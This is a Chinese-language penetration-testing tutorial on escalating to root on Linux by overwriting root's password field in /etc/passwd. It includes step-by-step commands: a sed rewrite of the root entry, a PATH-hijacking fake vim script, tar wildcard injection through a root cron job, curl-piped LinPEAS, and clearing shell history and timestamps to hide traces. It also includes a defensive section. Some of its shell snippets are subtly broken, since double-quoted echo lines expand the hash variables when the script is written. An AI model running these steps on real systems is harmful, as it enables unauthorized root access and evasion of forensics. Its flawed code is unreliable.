1. 项目概述:从“替代密码”到权限的跨越
在渗透测试和红队评估的实战中,Linux权限提升(Privilege Escalation)往往是突破内网、获取关键资产控制权的核心环节。我们常常花费大量时间枚举SUID文件、内核漏洞、定时任务,却容易忽略那些“安静”地躺在系统配置文件里的机会。今天要聊的这个技巧,就属于这种“安静”但极其有效的类型——利用替代密码(Alternate Password)实现提权。
简单来说,Linux系统除了我们熟知的/etc/shadow文件存储用户密码哈希外,还存在其他几种认证机制。其中,/etc/passwd文件在历史上就曾直接存储密码(虽然现在通常只放一个占位符x),而/etc/shadow则是更安全的密码存储位置。但系统为了兼容古老的程序或特定的配置,有时会允许使用/etc/passwd文件中的密码字段进行认证,这就是所谓的“替代密码”或“第二密码”。如果一个低权限用户能够向/etc/passwd文件中某个高权限用户(如root)的记录行写入一个已知的密码哈希,那么他就可以直接用这个密码切换到该高权限用户。
这听起来像是系统配置错误或管理员疏忽留下的后门,但在某些老旧系统、特定发行版默认配置或配置了特定PAM(可插拔认证模块)模块的环境中,它确实可能存在。对于OSCP这类注重基础和实战的认证考试,以及日常的渗透测试,掌握这种手法意味着你多了一种绕过常规防御、直击核心的武器。它不依赖于复杂的漏洞利用,纯粹是配置审计和权限滥用的结果,非常适合在信息收集阶段发现蛛丝马迹后快速尝试。
2. 核心原理与前置知识拆解
要理解并成功利用替代密码提权,我们需要先厘清几个关键概念和Linux认证的基本流程。
2.1 Linux用户认证的演进:从passwd到shadow
早期的Unix系统将用户的基本信息和加密后的密码都存放在/etc/passwd文件中。每一行代表一个用户,字段由冒号分隔,例如:
root:x:0:0:root:/root:/bin/bash第二个字段就是密码字段。最初,这里存放的是经过DES加密的密码哈希。然而,/etc/passwd文件需要对所有用户可读(因为许多工具需要读取用户ID、家目录等信息),这就导致密码哈希暴露在众目睽睽之下,易于被暴力破解。
为了提高安全性,现代Linux系统引入了影子密码机制。密码哈希被转移到了/etc/shadow文件,该文件只有root用户可读。相应地,/etc/passwd文件中的密码字段被一个占位符x替代,表示真正的密码哈希在/etc/shadow中。认证时,系统会检查/etc/passwd的第二个字段:
- 如果是
x,则去/etc/shadow查找对应哈希进行验证。 - 如果是其他字符(一个有效的密码哈希),则直接使用这个哈希进行验证,而不会去查询
/etc/shadow。
这个“其他字符”就是我们的突破口。如果我们在root用户的密码字段(第二个字段)写入一个我们已知明文密码的哈希,那么我们就可以用这个密码切换到root。
2.2 PAM配置与认证源
Linux的认证过程主要由PAM模块控制。PAM的配置文件通常位于/etc/pam.d/目录下,例如common-auth,system-auth,su,login等。这些配置文件定义了认证的堆栈(stack),即按顺序调用哪些模块来验证用户。
关键点在于pam_unix.so模块。这个模块负责传统的Unix密码认证。它的一个参数use_authtok和认证源有关,但更直接相关的是它的默认行为:它会同时检查/etc/passwd和/etc/shadow。具体逻辑是:
- 如果
/etc/passwd中用户的密码字段不是x,则尝试用该字段的哈希进行认证。 - 如果是
x,则转而使用/etc/shadow中的哈希。
因此,只要PAM配置中包含了pam_unix.so模块(这几乎是标配),并且我们没有通过其他模块参数显式禁用对/etc/passwd的检查,那么写入/etc/passwd的替代密码就是有效的。
2.3 提权路径的逻辑闭环
整个利用链条可以概括为以下几步:
- 信息收集与漏洞发现:通过低权限shell,发现我们对
/etc/passwd文件有写权限,或者发现某个具有SUID权限的命令/脚本可以间接修改它。 - 哈希生成:选择一个我们知道的明文密码,使用系统相同的加密算法(如SHA-512)生成其密码哈希。
- 哈希注入:将生成的哈希值,覆盖目标高权限用户(首选root)在
/etc/passwd文件中的密码字段(第二个字段)。 - 权限切换:使用我们设定的明文密码,通过
su、login或ssh等方式,认证并切换到高权限用户。
这个链条的核心前提是对/etc/passwd文件的写权限。获得这个权限的方式,就是我们接下来要深入探讨的重点。
3. 攻击面枚举:如何获得/etc/passwd的写权限
一个低权限用户通常无法直接修改/etc/passwd。我们需要寻找系统配置、权限设置或程序逻辑上的缺陷。以下是几种常见的场景。
3.1 文件权限配置错误
这是最直接的情况。使用ls -la /etc/passwd命令检查文件权限。
-rw-r--r-- 1 root root 1641 May 10 10:00 /etc/passwd正常的权限应该是-rw-r--r--,即root可读写,其他用户只读。 如果发现权限是-rw-rw-rw-(所有用户可写)或者你的当前用户属于文件所属组且组权限是rw-,那么你就可以直接编辑它。
实操心得:在自动化枚举脚本中,我通常会这样快速检查:
find /etc -name passwd -type f \( -perm -o+w -o -perm -g+w \) 2>/dev/null这条命令会查找
/etc目录下名为passwd的普通文件,并且其权限是“其他用户可写(o+w)”或“同组用户可写(g+w)”。虽然/etc/passwd通常就在/etc下,但这样写更通用。
3.2 利用具有SUID权限的编辑器或命令
某些命令如果设置了SUID位,并且以root身份运行,那么通过它们就有可能修改root拥有的文件。
vim/vi/nano:如果这些编辑器有SUID位,你可以在其中打开/etc/passwd并修改。检查命令:find / -type f -perm -u=s -name \"vim\" 2>/dev/null。ed/ex:一些更古老的行编辑器。- 自定义脚本或程序:管理员可能写了一些用于管理用户的脚本,并错误地设置了SUID。用
find / -type f -perm -u=s 2>/dev/null列出所有SUID文件,然后逐一分析其功能。
利用示例(以SUID的vim为例):
# 1. 检查vim是否SUID且属于root ls -la /usr/bin/vim # 如果显示 -rwsr-xr-x 1 root root ... ,则可以利用 # 2. 使用vim打开/etc/passwd /usr/bin/vim /etc/passwd # 3. 在vim内,找到root行,替换密码字段 # 原始行:root:x:0:0:root:/root:/bin/bash # 修改为:root:$6$salt$hashed_password:0:0:root:/root:/bin/bash # 然后保存退出(:wq)注意事项:现代系统对SUID的管理比较严格,常见的编辑器很少默认带SUID。但在一些容器环境、老旧系统或特定配置的生产环境中,仍有可能遇到。
3.3 利用符号链接(Symlink)攻击
如果存在一个以root权限运行的程序或定时任务(cron job),它会向一个由我们控制路径的文件写入内容,我们就可以通过符号链接将其指向/etc/passwd。
典型场景:
- 有一个定时任务,每分钟以root身份执行:
echo \"some log\" >> /var/log/app.log - 我们发现
/var/log/app.log不存在,或者我们有权限删除/移动它。 - 我们删除或移动原来的
app.log,然后创建一个指向/etc/passwd的符号链接:rm /var/log/app.log ln -s /etc/passwd /var/log/app.log - 当下一次定时任务执行时,
“some log”就会被追加到/etc/passwd文件的末尾,这通常会破坏文件格式导致系统问题,但如果我们精心构造写入的内容,就有可能添加一个我们控制密码的新用户。
这种方法更常用于添加用户而非直接修改root密码,因为向/etc/passwd追加一行比修改其中一行中间的内容更容易实现。
3.4 利用不安全的备份或副本
有时管理员会创建/etc/passwd的备份文件,如/etc/passwd.bak,/tmp/passwd.bak等,并且这些备份文件的权限设置可能更宽松。如果我们能修改备份文件,并且在某个时刻(如系统恢复脚本执行时)该备份文件会覆盖原始的/etc/passwd,那么也能达到目的。这需要结合对系统流程更深入的了解。
4. 实操过程:从哈希生成到Root Shell
假设我们已经通过某种方式(例如,发现/etc/passwd全局可写)获得了修改权限。接下来是具体的操作步骤。
4.1 步骤一:生成一个可靠的密码哈希
我们不能直接把明文密码写进去,必须写入其加密后的哈希值。Linux系统使用crypt(3)函数进行密码加密。我们可以使用openssl或mkpasswd命令来生成。
方法A:使用openssl(推荐)
# 生成SHA-512加密的哈希(这是现代Linux的默认方式) openssl passwd -6 -salt $(openssl rand -base64 6) 'YourPasswordHere'-6指定使用SHA-512算法。-salt后面跟盐值。盐值应该随机生成以增强安全性,这里用openssl rand -base64 6生成一个随机的Base64字符串作为盐。盐值会包含在最终的哈希字符串中。'YourPasswordHere'替换为你想要设置的密码。
执行后,你会得到一个类似这样的字符串:
$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l这个字符串就是我们要写入/etc/passwd的密码字段。它由三部分组成,以$分隔:$6表示算法(SHA-512),$RANDOMSALT是盐值,后面一长串才是真正的哈希。
方法B:使用mkpasswd(部分发行版需要安装whois包)
mkpasswd -m sha-512 'YourPasswordHere' $(openssl rand -base64 6)输出格式与openssl类似。
重要提示:务必记录下你使用的盐值和密码。因为最终认证时,你需要输入明文密码,系统会用相同的盐值对输入的密码进行哈希计算,然后与存储的哈希比对。
4.2 步骤二:编辑/etc/passwd文件
警告:操作前务必备份!错误的编辑可能导致所有用户无法登录。
cp /etc/passwd /tmp/passwd.backup现在,使用你有写权限的方式编辑文件。如果是直接文件可写,可以用vi、nano或者sed。
# 使用sed命令直接替换root行的密码字段 # 假设生成的哈希是:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l # 原始行:root:x:0:0:root:/root:/bin/bash # 方法1:使用sed进行原地编辑(-i参数) sudo sed -i 's/^root:x:/root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:/' /etc/passwd # 方法2:手动编辑(更安全,便于检查) # 先复制一份到临时位置编辑 cp /etc/passwd /tmp/passwd.tmp vi /tmp/passwd.tmp # 在vi中找到root行,将 `x` 替换为完整的哈希字符串,保存退出。 # 检查无误后,覆盖原文件 cat /tmp/passwd.tmp > /etc/passwd编辑后的root行应该看起来像这样:
root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:0:0:root:/root:/bin/bash4.3 步骤三:验证与切换权限
编辑完成后,最安全的验证方法是开启一个新的会话。
- 本地切换:如果你有物理终端或图形界面,直接切换到另一个TTY(如Ctrl+Alt+F2),在登录提示符处输入
root和你设置的密码。 - 使用
su命令:在当前shell中尝试切换。
输入你设置的密码。如果成功,提示符会变成su root # 或者 su -#。 - 使用
ssh:如果SSH服务正在运行,可以从另一台机器尝试登录。ssh root@靶机IP
成功的关键标志:不再需要原来的root密码(或者原来就没有密码),使用你新设置的密码即可成功认证。
4.4 步骤四:善后与痕迹清理(可选)
在渗透测试中,获取权限后通常需要清理痕迹。但对于这种修改,恢复原状可能更好,以免影响系统稳定性或引起管理员警觉。
- 恢复
/etc/passwd:将备份的文件复制回来。cp /tmp/passwd.backup /etc/passwd - 清除命令历史:清除当前用户和root用户的命令历史。
# 清除当前用户历史 history -c && history -w # 如果是bash,也可以清空文件 echo > ~/.bash_history # 清除root历史(如果你已经切换) echo > /root/.bash_history - 修改文件时间戳:使用
touch命令将/etc/passwd的时间戳改回接近其他系统文件的时间,但这在专业的取证面前作用有限。
实操心得:在真实的评估中,我倾向于在修改后立即完成目标(如抓取哈希、查看敏感文件),然后迅速恢复
/etc/passwd。长时间保留这种修改风险很高,因为任何用户管理操作(如useradd)或系统审计都可能发现异常。
5. 防御措施与管理员视角
了解了攻击手法,从防御和系统加固的角度,我们应该如何做?
5.1 严格的文件权限管理
这是最根本的防御。确保/etc/passwd和/etc/shadow的权限正确无误。
# 正确的权限设置 chmod 644 /etc/passwd # -rw-r--r-- chmod 000 /etc/shadow # ---------- (某些系统是400或600) chown root:root /etc/passwd /etc/shadow定期使用类似lynis、tripwire或aide等完整性检查工具,监控这些关键文件的变化。
5.2 审计SUID/SGID文件
定期审查系统上的SUID/SGID文件,移除不必要的特权程序。
# 查找所有SUID文件 find / -type f -perm -4000 -ls 2>/dev/null # 查找所有SGID文件 find / -type f -perm -2000 -ls 2>/dev/null对于像vim,nano,ed,more,less等编辑器或查看器,绝对不应该设置SUID位。如果发现,应立即移除:chmod u-s /path/to/file。
5.3 配置PAM强化认证
虽然默认的pam_unix.so会检查/etc/passwd,但我们可以通过配置来强化策略。不过,更常见的做法是依赖文件系统权限作为主要防线,PAM配置作为深度防御。可以研究pam_wheel.so(限制su到root的用户)、pam_tally2.so(失败登录锁定)等模块来增加攻击难度。
5.4 使用集中化认证
对于企业环境,考虑使用LDAP、Kerberos或FreeIPA等集中化认证系统。这样,本地/etc/passwd和/etc/shadow文件中的用户将大大减少,甚至只有系统账户,从而缩小了攻击面。
5.5 定期安全审计与渗透测试
主动进行安全审计和渗透测试(包括授权下的内部提权测试),是发现此类配置问题的最佳方式。使用像LinPEAS、LinuxSmartEnumeration、LES (Linux Exploit Suggester)这样的自动化枚举脚本,可以快速发现文件权限问题、可疑的SUID文件等。
6. 拓展场景与组合利用
替代密码提权很少是独立存在的,它往往与其他漏洞或错误配置结合,形成攻击链。
6.1 结合路径注入(PATH Manipulation)
假设我们发现一个以root权限运行的SUID脚本,它内部调用了vim(但没有使用绝对路径/usr/bin/vim)。那么我们可以通过控制PATH环境变量,让我们自己的恶意脚本被当作vim执行。在我们的恶意脚本中,就可以包含修改/etc/passwd的代码。
示例恶意脚本 (/tmp/evil_vim):
#!/bin/bash # 这是一个伪装成vim的脚本 # 首先,执行我们真正的提权操作 echo \"root:$6$salt$hashed_password:0:0:root:/root:/bin/bash\" >> /etc/passwd 2>/dev/null # 然后,为了不引起怀疑,可以调用真正的vim(如果存在的话) /usr/bin/vim \"$@\"然后设置PATH并执行SUID脚本:
export PATH=/tmp:$PATH # 执行那个SUID脚本,它会调用‘vim’,实际执行了我们的/tmp/evil_vim6.2 结合通配符注入(Wildcard Injection)
如果有一个root权限的cron job或脚本,使用了tar或chown等命令,并且参数中包含了通配符*,而我们可以控制当前目录下的文件名,就可能实现注入。例如,一个备份脚本:
tar -czf /backup/backup.tar.gz *如果我们在该目录下创建一个名为--checkpoint=1和--checkpoint-action=exec=sh shell.sh的文件,那么当tar命令执行时,这些文件名会被当作参数解析,从而执行我们的shell.sh。在shell.sh中,我们就可以尝试修改/etc/passwd。
6.3 在Docker容器内的特殊考量
在Docker容器中,情况略有不同。很多容器以root用户运行,但并没有完整的Linux用户体系。/etc/passwd文件可能很简单。然而,如果容器需要与宿主机共享卷(volume),并且挂载了宿主机的/etc/passwd,那么在容器内修改该文件,就会直接影响宿主机,这是一个非常危险的权限提升路径(容器逃逸)。防御方法是避免将敏感的宿主机目录挂载到容器中,或者以只读方式挂载。
7. 自动化枚举与工具使用
手动枚举效率低下,实战中我们依赖工具。这里介绍如何用常见的枚举脚本发现此类漏洞。
7.1 使用LinPEAS进行快速枚举
LinPEAS是最强大的Linux本地提权枚举脚本之一。它会自动检查:
/etc/passwd和/etc/shadow的文件权限。- 所有SUID/SGID文件。
- 可写的系统路径、cron jobs、服务、进程等。
运行方式:
# 下载并执行 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者先下载再执行 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh在输出中,重点关注以下部分:
[+] World-writable files (not in Docker or systemd):这里可能会列出/etc/passwd。[+] SUID - Check easy privesc, exploits and write perms:检查可疑的SUID文件。[+] Files with ACLs (limited to 50):访问控制列表异常的文件。
7.2 手动检查命令备忘单
如果无法运行外部脚本,以下命令组合是一个精简的检查清单:
# 1. 检查/etc/passwd权限 ls -la /etc/passwd # 2. 检查所有可写文件 find /etc -type f -writable 2>/dev/null | grep -v \"/proc/\" # 3. 检查SUID文件 find / -type f -perm -u=s -ls 2>/dev/null | head -20 # 4. 检查以root运行的cron jobs cat /etc/crontab ls -la /etc/cron.*/ crontab -l 2>/dev/null # 5. 检查系统进程和网络连接 ps aux | grep root netstat -tulpn8. 从理论到实战:一个模拟案例
让我们串联起所有知识点,模拟一个完整的攻击场景。
场景设定: 你通过一个Web应用漏洞获得了www-data用户的低权限shell。初步信息收集发现这是一个Ubuntu 18.04系统。
攻击流程:
初步枚举:
id # uid=33(www-data) gid=33(www-data) groups=33(www-data) ls -la /etc/passwd # -rw-r--r-- 1 root root 1641 ... # 正常,不可写 find / -type f -perm -u=s -ls 2>/dev/null | grep -E \"(vim|vi|nano|ed|ex)\" # 无结果深入枚举:使用
linpeas.sh或手动检查cron。cat /etc/crontab发现一行:
* * * * * root /opt/scripts/backup_log.sh分析Cron Job:
ls -la /opt/scripts/backup_log.sh # -rwxr-xr-x 1 root root 89 ... cat /opt/scripts/backup_log.sh脚本内容:
#!/bin/bash cd /var/log/myapp tar -czf /backups/$(date +%s).tar.gz *.log发现漏洞:脚本在
/var/log/myapp目录下执行,使用通配符*.log,并且该目录www-data用户可写(因为Web应用写日志)。ls -la /var/log/myapp # drwxrwx-wx 2 root www-data 4096 ... # www-data有写权限构造攻击:利用tar的通配符注入漏洞。
cd /var/log/myapp # 创建注入文件 echo \"#!/bin/bash\" > shell.sh echo \"openssl passwd -6 -salt mysalt mynewrootpass > /tmp/hash.txt\" >> shell.sh echo \"HASH=$(cat /tmp/hash.txt)\" >> shell.sh echo \"sed -i \\\"s/^root:x:/root:$HASH:/\\\" /etc/passwd\" >> shell.sh chmod +x shell.sh # 创建触发tar执行shell.sh的文件 touch -- \"--checkpoint=1\" touch -- \"--checkpoint-action=exec=sh shell.sh\" # 创建一个.log文件以满足通配符匹配 touch exploit.log等待与验证:等待下一分钟cron执行。执行后,检查
/etc/passwd中root行的密码字段是否已被修改。提权:使用密码
mynewrootpass执行su root。
这个案例展示了如何将替代密码提权与其他漏洞(通配符注入)结合,形成一条完整的攻击链。关键在于敏锐地发现配置缺陷和逻辑漏洞,并将其转化为对关键文件的写权限。